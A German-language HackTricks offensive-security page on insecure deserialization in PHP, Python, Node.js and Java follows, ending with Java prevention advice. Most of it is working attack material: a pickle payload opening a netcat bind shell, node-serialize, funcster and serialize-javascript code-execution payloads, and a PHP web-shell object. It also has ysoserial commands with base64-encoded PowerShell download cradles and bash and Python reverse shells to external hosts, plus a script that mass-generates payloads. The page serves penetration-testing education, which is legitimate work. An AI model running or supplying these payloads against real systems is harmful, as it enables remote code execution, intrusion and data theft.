Deserialization

Reading time: 44 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Grundlegende Informationen

Serialization wird als Methode verstanden, ein Objekt in ein Format zu konvertieren, das gespeichert werden kann, mit dem Ziel, das Objekt entweder abzulegen oder im Rahmen eines Kommunikationsprozesses zu übertragen. Diese Technik wird häufig eingesetzt, um sicherzustellen, dass das Objekt später unter Erhalt seiner Struktur und seines Zustands wiederhergestellt werden kann.

Deserialization, im Gegensatz dazu, ist der Prozess, der Serialization rückgängig macht. Dabei werden Daten, die in einem bestimmten Format strukturiert sind, genommen und wieder in ein Objekt rekonstruiert.

Deserialization kann gefährlich sein, da sie potenziell Angreifern erlaubt, die serialisierten Daten zu manipulieren, um schädlichen Code auszuführen oder während des Objektwiederherstellungsprozesses unerwartetes Verhalten in der Anwendung zu verursachen.

PHP

In PHP werden spezielle magische Methoden während des serialization- und deserialization-Prozesses verwendet:

  • __sleep: Wird aufgerufen, wenn ein Objekt serialisiert wird. Diese Methode sollte ein Array mit den Namen aller Eigenschaften des Objekts zurückgeben, die serialisiert werden sollen. Sie wird häufig verwendet, um ausstehende Daten zu speichern oder ähnliche Aufräumarbeiten durchzuführen.
  • __wakeup: Wird aufgerufen, wenn ein Objekt deserialisiert wird. Es dient dazu, ggf. während der serialization verlorene Datenbankverbindungen wiederherzustellen und andere Reinitialisierungsaufgaben auszuführen.
  • __unserialize: Diese Methode wird beim Deserialisieren eines Objekts anstelle von __wakeup (falls vorhanden) aufgerufen. Sie bietet mehr Kontrolle über den Deserialisierungsprozess im Vergleich zu __wakeup.
  • __destruct: Diese Methode wird aufgerufen, wenn ein Objekt zerstört wird oder wenn das Skript endet. Sie wird typischerweise für Aufräumarbeiten verwendet, z. B. zum Schließen von Dateihandles oder Datenbankverbindungen.
  • __toString: Diese Methode erlaubt es, ein Objekt wie einen String zu behandeln. Sie kann z. B. für das Lesen einer Datei oder andere Aufgaben verwendet werden, die auf den darin aufgerufenen Funktionen basieren, und liefert so eine textuelle Repräsentation des Objekts.
php
<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}

$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();

/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />

php > $ser=serialize($o);
__sleep method called

php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}

php > $unser=unserialize($ser);
__wakeup method called
__destruct method called

php > $unser->displaystring();
This is a test<br />
*/
?>

Wenn du dir die Ergebnisse ansiehst, siehst du, dass die Funktionen __wakeup und __destruct aufgerufen werden, wenn das Objekt deserialisiert wird. Beachte, dass in mehreren Tutorials zu finden ist, dass die __toString-Funktion beim Versuch, ein Attribut auszugeben, aufgerufen wird, aber anscheinend passiert das nicht mehr.

warning

Die Methode __unserialize(array $data) wird anstelle von __wakeup() aufgerufen, wenn sie in der Klasse implementiert ist. Sie ermöglicht es, das Objekt zu deserialisieren, indem die serialisierten Daten als Array übergeben werden. Du kannst diese Methode verwenden, um Eigenschaften zu deserialisieren und alle notwendigen Aufgaben bei der Deserialisierung auszuführen.

class MyClass {
   private $property;

   public function __unserialize(array $data): void {
       $this->property = $data['property'];
       // Perform any necessary tasks upon deserialization.
   }
}

Ein erklärtes PHP-Beispiel findest du hier: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, hier https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf oder hier https://securitycafe.ro/2015/01/05/understanding-php-object-injection/

PHP Deserial + Autoload Classes

Du kannst die PHP Autoload-Funktionalität ausnutzen, um beliebige PHP-Dateien und mehr zu laden:

PHP - Deserialization + Autoload Classes

Serializing Referenced Values

Wenn du aus irgendeinem Grund einen Wert als Referenz auf einen anderen serialisierten Wert serialisieren möchtest, kannst du:

php
<?php
class AClass {
public $param1;
public $param2;
}

$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);

Verhinderung von PHP Object Injection mit allowed_classes

info

Unterstützung für das zweite Argument von unserialize() (dem $options-Array) wurde in PHP 7.0 hinzugefügt. In älteren Versionen akzeptiert die Funktion nur den serialisierten String, wodurch es unmöglich ist einzuschränken, welche Klassen instanziiert werden dürfen.

unserialize() wird jede Klasse instanziieren, die es im serialisierten Stream findet, sofern nicht anders angegeben. Seit PHP 7 kann das Verhalten mit der allowed_classes Option eingeschränkt werden:

php
// NEVER DO THIS – full object instantiation
$object = unserialize($userControlledData);

// SAFER – disable object instantiation completely
$object = unserialize($userControlledData, [
'allowed_classes' => false    // no classes may be created
]);

// Granular – only allow a strict white-list of models
$object = unserialize($userControlledData, [
'allowed_classes' => [MyModel::class, DateTime::class]
]);

Wenn allowed_classes weggelassen wird oder der Code auf PHP < 7.0 läuft, wird der Aufruf gefährlich, da ein Angreifer eine Payload konstruieren kann, die magische Methoden wie __wakeup() oder __destruct() ausnutzt, um Remote Code Execution (RCE) zu erreichen.

Beispiel aus der Praxis: Everest Forms (WordPress) CVE-2025-52709

Das WordPress-Plugin Everest Forms ≤ 3.2.2 versuchte, sich mit einem Helper-Wrapper abzusichern, vergaß aber, ältere PHP-Versionen zu berücksichtigen:

php
function evf_maybe_unserialize($data, $options = array()) {
if (is_serialized($data)) {
if (version_compare(PHP_VERSION, '7.1.0', '>=')) {
// SAFE branch (PHP ≥ 7.1)
$options = wp_parse_args($options, array('allowed_classes' => false));
return @unserialize(trim($data), $options);
}
// DANGEROUS branch (PHP < 7.1)
return @unserialize(trim($data));
}
return $data;
}

Auf Servern, auf denen noch PHP ≤ 7.0 lief, führte dieser zweite Zweig zu einer klassischen PHP Object Injection, wenn ein Administrator eine bösartige Formularübermittlung öffnete. Eine minimale Exploit-Payload könnte wie folgt aussehen:

O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}

Sobald der Admin den Eintrag betrachtete, wurde das Objekt instanziiert und SomeClass::__destruct() ausgeführt, was zur Ausführung beliebigen Codes führte.

Wichtige Erkenntnisse

  1. Übergeben Sie immer ['allowed_classes' => false] (oder eine strikte white-list), wenn Sie unserialize() aufrufen.
  2. Prüfen Sie defensive Wrapper – sie vergessen oft die legacy PHP-Zweige.
  3. Ein Upgrade auf PHP ≥ 7.x allein ist nicht ausreichend: die Option muss weiterhin explizit übergeben werden.

PHPGGC (ysoserial for PHP)

PHPGGC kann Ihnen beim Erstellen von Payloads helfen, um PHP deserializations auszunutzen.
Beachten Sie, dass man in mehreren Fällen keinen Weg finden wird, eine deserialization im Quellcode der Anwendung auszunutzen, aber möglicherweise den Code externer PHP-Extensions missbrauchen kann.
Wenn möglich, prüfen Sie die phpinfo() des Servers und suchen Sie im Internet (und sogar in den gadgets von PHPGGC) nach möglichen Gadgets, die Sie missbrauchen könnten.

phar:// metadata deserialization

Wenn Sie ein LFI gefunden haben, das die Datei nur liest und den darin enthaltenen php-Code nicht ausführt, zum Beispiel mit Funktionen wie file_get_contents(), fopen(), file() or file_exists(), md5_file(), filemtime() or filesize(). Sie können versuchen, eine deserialization auszunutzen, die beim Lesen einer Datei über das phar-Protokoll auftritt.
Für weitere Informationen lesen Sie den folgenden Beitrag:

phar:// deserialization

Python

Pickle

Wenn das Objekt unpickled wird, wird die Funktion ___reduce___ ausgeführt.
Bei Ausnutzung könnte der Server einen Fehler zurückgeben.

python
import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))

Bevor Sie die Bypass-Technik prüfen, versuchen Sie print(base64.b64encode(pickle.dumps(P(),2))) zu verwenden, um ein Objekt zu erzeugen, das mit python2 kompatibel ist, falls Sie python3 verwenden.

Für weitere Informationen zum Entkommen aus pickle jails siehe:

Bypass Python sandboxes

Yaml & jsonpickle

Die folgende Seite beschreibt die Technik, um eine unsichere deserialization in yaml-Python-Bibliotheken zu missbrauchen und endet mit einem Tool, das RCE-deserialization-Payloads für Pickle, PyYAML, jsonpickle und ruamel.yaml generieren kann:

Python Yaml Deserialization

Class Pollution (Python Prototype Pollution)

Class Pollution (Python's Prototype Pollution)

NodeJS

JS Magic Functions

JS hat keine "magic" functions wie PHP oder Python, die allein bei der Erstellung eines Objekts ausgeführt werden. Aber es gibt einige Funktionen, die häufig verwendet werden, selbst ohne sie direkt aufzurufen, wie toString, valueOf, toJSON.
Wenn man eine deserialization missbraucht, kann man diese Funktionen kompromittieren, um anderen Code auszuführen (möglicherweise durch Ausnutzung von prototype pollutions) und damit beliebigen Code ausführen, wenn sie aufgerufen werden.

Eine weitere "magische" Methode, eine Funktion aufzurufen ohne sie direkt zu rufen, besteht darin, ein Objekt zu kompromittieren, das von einer async-Funktion (promise) zurückgegeben wird. Denn wenn man dieses return object in eine andere promise mit einer property namens "then" vom Typ function verwandelt, wird diese ausgeführt, nur weil sie von einer anderen promise zurückgegeben wurde. Folge diesem Link für mehr Infos.

javascript
// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise((resolve) => {
console.log("hello")
resolve()
})
return p
}

async function test_then() {
const p = new Promise((then) => {
console.log("hello")
return 1
})
return p
}

test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/

__proto__ and prototype pollution

Wenn du diese Technik lernen willst, sieh dir das folgende Tutorial an:

NodeJS - proto & prototype Pollution

node-serialize

Diese Bibliothek erlaubt das Serialisieren von Funktionen. Beispiel:

javascript
var y = {
rce: function () {
require("child_process").exec("ls /", function (error, stdout, stderr) {
console.log(stdout)
})
},
}
var serialize = require("node-serialize")
var payload_serialized = serialize.serialize(y)
console.log("Serialized: \n" + payload_serialized)

Das serialisierte Objekt sieht folgendermaßen aus:

bash
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}

In dem Beispiel siehst du, dass beim Serialisieren einer Funktion das _$$ND_FUNC$$_ Flag an das serialisierte Objekt angehängt wird.

Inside the file node-serialize/lib/serialize.js you can find the same flag and how the code is using it.

Wie du im letzten Codeabschnitt sehen kannst, wenn das Flag gefunden wird eval verwendet wird, um die Funktion zu deserialisieren, sodass im Grunde Benutzereingaben innerhalb der eval-Funktion verwendet werden.

Allerdings wird durch einfaches Serialisieren einer Funktion diese nicht ausgeführt, denn es wäre erforderlich, dass ein Teil des Codes in unserem Beispiel y.rce aufruft, und das ist sehr unwahrscheinlich.
Du könntest jedoch einfach das serialisierte Objekt modifizieren, indem du einige Klammern hinzufügst, damit die serialisierte Funktion beim Deserialisieren automatisch ausgeführt wird.
Im nächsten Codeabschnitt achte auf die letzte Klammer und darauf, wie die unserialize Funktion den Code automatisch ausführt:

javascript
var serialize = require("node-serialize")
var test = {
rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()",
}
serialize.unserialize(test)

Wie bereits erwähnt, holt diese Bibliothek den Code nach _$$ND_FUNC$$_ und wird ihn mit eval ausführen. Daher kannst du, um Code automatisch auszuführen, den Teil zur Funktionserstellung und die letzte Klammer löschen und einfach einen JS-Oneliner ausführen, wie im folgenden Beispiel:

javascript
var serialize = require("node-serialize")
var test =
"{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}"
serialize.unserialize(test)

Sie können find here weitere Informationen darüber finden, wie diese Schwachstelle ausgenutzt werden kann.

funcster

Ein bemerkenswerter Aspekt von funcster ist die Unzugänglichkeit der eingebauten Standardobjekte; diese liegen außerhalb des zugänglichen Bereichs. Diese Einschränkung verhindert die Ausführung von Code, der versucht, Methoden an eingebauten Objekten aufzurufen, und führt zu Ausnahmen wie "ReferenceError: console is not defined", wenn Befehle wie console.log() oder require(something) verwendet werden.

Trotz dieser Einschränkung ist die Wiederherstellung des vollständigen Zugriffs auf den globalen Kontext, einschließlich aller eingebauten Standardobjekte, durch einen speziellen Ansatz möglich. Indem man den globalen Kontext direkt nutzt, kann man diese Einschränkung umgehen. Beispielsweise kann der Zugriff mit dem folgenden Snippet wiederhergestellt werden:

javascript
funcster = require("funcster")
//Serialization
var test = funcster.serialize(function () {
return "Hello world!"
})
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }

//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = {
__js_function: 'this.constructor.constructor("console.log(1111)")()',
}
funcster.deepDeserialize(desertest2)
var desertest3 = {
__js_function:
"this.constructor.constructor(\"require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });\")()",
}
funcster.deepDeserialize(desertest3)

For more information read this source.

serialize-javascript

Das serialize-javascript-Paket ist ausschließlich für serialization purposes konzipiert und verfügt über keine integrierten deserialization-Funktionen. Benutzer sind dafür verantwortlich, eine eigene Methode zur Deserialization zu implementieren. In dem offiziellen Beispiel zur Deserialisierung serialisierter Daten wird die direkte Verwendung von eval vorgeschlagen:

javascript
function deserialize(serializedJavascript) {
return eval("(" + serializedJavascript + ")")
}

Wenn diese Funktion verwendet wird, um Objekte zu deserialisieren, kannst du sie einfach ausnutzen:

javascript
var serialize = require("serialize-javascript")
//Serialization
var test = serialize(function () {
return "Hello world!"
})
console.log(test) //function() { return "Hello world!" }

//Deserialization
var test =
"function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)

Für weitere Informationen lies diese Quelle.

Cryo library

In den folgenden Seiten findest du Informationen darüber, wie man diese Bibliothek missbrauchen kann, um beliebige Befehle auszuführen:

Java - HTTP

In Java werden deserialization callbacks während des Prozesses der deserialization ausgeführt. Diese Ausführung kann von Angreifern ausgenutzt werden, die bösartige payloads erstellen, die diese callbacks auslösen und so möglicherweise schädliche Aktionen ausführen.

Fingerprints

White Box

Um potenzielle serialization vulnerabilities in der Codebasis zu identifizieren, suche nach:

  • Klassen, die das Interface Serializable implementieren.
  • Verwendung von java.io.ObjectInputStream, readObject, readUnshare Funktionen.

Achte besonders auf:

  • XMLDecoder, verwendet mit Parametern, die von externen Benutzern festgelegt werden.
  • Die fromXML-Methode von XStream, besonders wenn die XStream-Version kleiner oder gleich 1.46 ist, da sie anfällig für serialization issues sein kann.
  • ObjectInputStream in Verbindung mit der Methode readObject.
  • Implementierungen von Methoden wie readObject, readObjectNodData, readResolve oder readExternal.
  • ObjectInputStream.readUnshared.
  • Allgemeine Verwendung von Serializable.

Black Box

Für Black-Box-Tests suche nach spezifischen Signaturen oder "Magic Bytes", die java serialized objects kennzeichnen (stammend von ObjectInputStream):

  • Hexadezimales Muster: AC ED 00 05.
  • Base64-Muster: rO0.
  • HTTP-Response-Header mit Content-type gesetzt auf application/x-java-serialized-object.
  • Hexadezimales Muster, das auf vorherige Kompression hinweist: 1F 8B 08 00.
  • Base64-Muster, das auf vorherige Kompression hinweist: H4sIA.
  • Web-Dateien mit der .faces-Erweiterung und dem Parameter faces.ViewState. Das Auffinden dieser Muster in einer Webanwendung sollte eine Untersuchung auslösen, wie im Beitrag über Java JSF ViewState Deserialization beschrieben.
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s

Prüfen, ob verwundbar

Wenn du learn about how does a Java Deserialized exploit work möchtest, solltest du dir Basic Java Deserialization, Java DNS Deserialization, und CommonsCollection1 Payload ansehen.

SignedObject-gated deserialization and pre-auth reachability

Moderne Codebasen kapseln Deserialisierung manchmal mit java.security.SignedObject und validieren eine Signatur, bevor getObject() aufgerufen wird (welches das innere Objekt deserialisiert). Das verhindert beliebige top-level gadget classes, kann aber weiterhin ausnutzbar sein, wenn ein Angreifer eine gültige Signatur erlangen kann (z. B. private-key compromise oder ein signing oracle). Zusätzlich können Fehlerbehandlungs-Flows session-bound tokens für unauthenticated users erzeugen und damit sonst geschützte Sinks pre-auth exponieren.

Für eine konkrete Fallstudie mit requests, IoCs und Härtungsempfehlungen siehe:

Java Signedobject Gated Deserialization

White Box Test

Du kannst prüfen, ob Anwendungen mit bekannten Schwachstellen installiert sind.

bash
find . -iname "*commons*collection*"
grep -R InvokeTransformer .

Du kannst versuchen, alle Bibliotheken zu prüfen, von denen bekannt ist, dass sie verwundbar sind und für die Ysoserial einen exploit liefern kann. Oder du kannst die Bibliotheken prüfen, die im Java-Deserialization-Cheat-Sheet angegeben sind.
Du kannst auch gadgetinspector verwenden, um nach möglichen gadget chains zu suchen, die ausgenutzt werden können.
Beim Ausführen von gadgetinspector (nach dem Bauen) ignoriere die vielen Warnings/Errors, die erscheinen, und lass es durchlaufen. Es schreibt alle Ergebnisse unter gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt. Bitte beachte, dass gadgetinspector keinen exploit erstellt und False Positives anzeigen kann.

Black-Box-Test

Mit der Burp-Erweiterung gadgetprobe kannst du identifizieren, welche Bibliotheken verfügbar sind (und sogar die Versionen). Mit diesen Informationen kann es einfacher sein, eine passende payload zur Ausnutzung der Schwachstelle zu wählen.
Read this to learn more about GadgetProbe.
GadgetProbe konzentriert sich auf ObjectInputStream deserializations.

Mit der Burp-Erweiterung Java Deserialization Scanner kannst du verwundbare Bibliotheken identifizieren, die mit ysoserial ausnutzbar sind, und sie ausnutzen.
Read this to learn more about Java Deserialization Scanner.
Java Deserialization Scanner konzentriert sich auf ObjectInputStream deserializations.

Du kannst auch Freddy verwenden, um Deserializations-Schwachstellen in Burp zu erkennen. Dieses Plugin erkennt nicht nur ObjectInputStream-bezogene Schwachstellen, sondern auch Schwachstellen aus Json und Yml Deserialisierungsbibliotheken. Im aktiven Modus versucht es, diese mittels sleep- oder DNS-payloads zu bestätigen.
You can find more information about Freddy here.

Serialisierungstest

Es geht nicht nur darum zu prüfen, ob der Server eine verwundbare Bibliothek verwendet. Manchmal kannst du die Daten innerhalb des serialisierten Objekts ändern und einige Prüfungen umgehen (vielleicht erhältst du so Admin-Rechte in einer Webapp).
Wenn du ein Java-serialisiertes Objekt findest, das an eine Webanwendung gesendet wird, kannst du SerializationDumper verwenden, um das serialisierte Objekt in einem besser lesbaren Format auszugeben. Wenn du weißt, welche Daten du sendest, ist es einfacher, sie zu verändern und Prüfungen zu umgehen.

Exploit

ysoserial

Das Haupttool zur Ausnutzung von Java-Deserializations ist ysoserial (download here). Du kannst auch ysoseral-modified in Betracht ziehen, das es dir erlaubt, komplexe Befehle zu verwenden (z. B. mit Pipes).
Beachte, dass dieses Tool fokussiert ist auf die Ausnutzung von ObjectInputStream.
Ich würde zuerst das "URLDNS" payload vor einem RCE-payload verwenden, um zu testen, ob die Injection möglich ist. Beachte allerdings, dass das "URLDNS"-payload möglicherweise nicht funktioniert, andere RCE-payloads aber schon.

bash
# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload

# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"

#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"

# Base64 encode payload in base64
base64 -w0 payload

Beim Erstellen eines Payloads für java.lang.Runtime.exec() kannst du keine Sonderzeichen wie ">" oder "|" verwenden, um die Ausgabe einer Ausführung umzuleiten, "$()" um Befehle auszuführen, oder sogar Argumente an einen Befehl zu übergeben, die durch spaces getrennt sind (du kannst echo -n "hello world" ausführen, aber nicht python2 -c 'print "Hello world"'). Um das Payload korrekt zu kodieren, könntest du use this webpage.

Du kannst gern das folgende Script verwenden, um all the possible code execution payloads für Windows und Linux zu erstellen und sie anschließend auf der verwundbaren Webseite zu testen:

python
import os
import base64

# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')

generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')

serialkillerbypassgadgets

Du kannst https://github.com/pwntester/SerialKillerBypassGadgetCollection zusammen mit ysoserial verwenden, um mehr Exploits zu erstellen. Mehr Informationen über dieses Tool in den Folien des Vortrags, in dem das Tool vorgestellt wurde: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1

marshalsec

marshalsec kann verwendet werden, um payloads zu generieren, mit denen verschiedene Json- und Yml-Serialisierungsbibliotheken in Java ausgenutzt werden können.
Um das Projekt zu kompilieren, musste ich diese Abhängigkeiten zu pom.xml hinzufügen:

html
<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>

<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>

Installiere maven, und kompiliere das Projekt:

bash
sudo apt-get install maven
mvn clean package -DskipTests

FastJSON

Mehr Informationen zu dieser Java JSON-Bibliothek: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html

Labore

Warum

Java verwendet Serialisierung häufig für verschiedene Zwecke wie:

  • HTTP requests: Serialisierung wird häufig beim Management von Parametern, ViewState, Cookies usw. eingesetzt.
  • RMI (Remote Method Invocation): Das Java-RMI-Protokoll, das vollständig auf Serialisierung beruht, ist ein Grundpfeiler für die Remote-Kommunikation in Java-Anwendungen.
  • RMI over HTTP: Diese Methode wird häufig von Java-basierten Thick-Client-Webanwendungen verwendet und nutzt Serialisierung für alle Objektkommunikationen.
  • JMX (Java Management Extensions): JMX verwendet Serialisierung, um Objekte über das Netzwerk zu übertragen.
  • Custom Protocols: In Java beinhaltet die übliche Praxis die Übertragung von rohen Java-Objekten, was in den folgenden Exploit-Beispielen demonstriert wird.

Prävention

Transiente Objekte

Eine Klasse, die Serializable implementiert, kann jedes Objekt innerhalb der Klasse als transient markieren, das nicht serialisierbar sein sollte. Zum Beispiel:

java
public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient

Vermeide die Serialisierung einer Klasse, die Serializable implementieren muss

In Szenarien, in denen bestimmte Objekte aufgrund der Klassenhierarchie das Serializable-Interface implementieren müssen, besteht das Risiko einer unbeabsichtigten Deserialisierung. Um dies zu verhindern, sorgen Sie dafür, dass diese Objekte nicht deserialisierbar sind, indem Sie eine final readObject()-Methode definieren, die konsequent eine Ausnahme wirft, wie unten gezeigt:

java
private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}

Verbesserung der Sicherheit bei der Deserialisierung in Java

Anpassen von java.io.ObjectInputStream ist ein praktischer Ansatz zur Absicherung von Deserialisierungsprozessen. Diese Methode eignet sich, wenn:

  • Der Deserialisierungscode unter Ihrer Kontrolle steht.
  • Die Klassen, die für die Deserialisierung erwartet werden, bekannt sind.

Überschreiben Sie die resolveClass()-Methode, um die Deserialisierung auf nur erlaubte Klassen zu beschränken. Dies verhindert die Deserialisierung beliebiger Klassen außer denen, die ausdrücklich erlaubt sind, wie im folgenden Beispiel, das die Deserialisierung auf die Klasse Bicycle beschränkt:

java
// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {

public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}

/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}

Verwendung eines Java-Agenten zur Verbesserung der Sicherheit bietet eine Fallback-Lösung, wenn Codeänderungen nicht möglich sind. Diese Methode gilt hauptsächlich für das Blacklisting schädlicher Klassen und nutzt einen JVM-Parameter:

-javaagent:name-of-agent.jar

